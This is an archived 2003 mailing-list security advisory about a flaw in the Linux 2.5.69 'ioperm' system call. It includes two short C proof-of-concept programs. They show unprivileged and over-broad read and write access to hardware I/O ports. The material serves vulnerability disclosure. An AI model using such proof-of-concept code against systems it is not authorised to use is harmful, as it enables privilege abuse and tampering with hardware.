[UNIX] Security Vulnerability in "ioperm" System Call
From: SecuriTeam (support_at_securiteam.com)
Date: 05/21/03
- Previous message: SecuriTeam: "[EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 21 May 2003 17:20:09 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
Security Vulnerability in "ioperm" System Call
------------------------------------------------------------------------
SUMMARY
The "ioperm" system call allows an unprivileged user to gain read and
write access to I/O ports on the system. When used by a privileged
process, the "ioperm" system call also fails to properly restrict
privileges.
DETAILS
Vulnerable systems:
* Linux kernel version 2.5.69
Steps to reproduce:
Example One -- The following program when run as an unprivileged user will
allow him or her to read from or write to I/O ports with addresses which
are below 0x3ff (1023).
# include <stdio.h>
# include <sys/io.h>
# include <stdlib.h>
int main(int argc, char **argv)
{
if (argc < 2) {
(void) fprintf(stderr, "Usage: %s PORT [VALUE]\n",
argv[0]);
return (2);
}
if (ioperm(1023, 1, 0) == -1) {
perror("ioperm");
return (1);
}
if (argc < 3) {
(void) printf("0x%02x\n", inb(atoi(argv[1])));
} else {
outb(atoi(argv[2]), atoi(argv[1]));
}
return (0);
}
Example Two -- This next program when run as a privileged user
demonstrates how "ioperm" fails to properly restrict privileges.
# include <sys/io.h>
# include <stdio.h>
int main(void)
{
if (ioperm(888, 1, 1) == -1) {
perror("ioperm");
return (1);
}
(void) printf("0x%02x\n", inb(889));
return (0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:mbligh@aracnet.com> Martin
J. Bligh.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
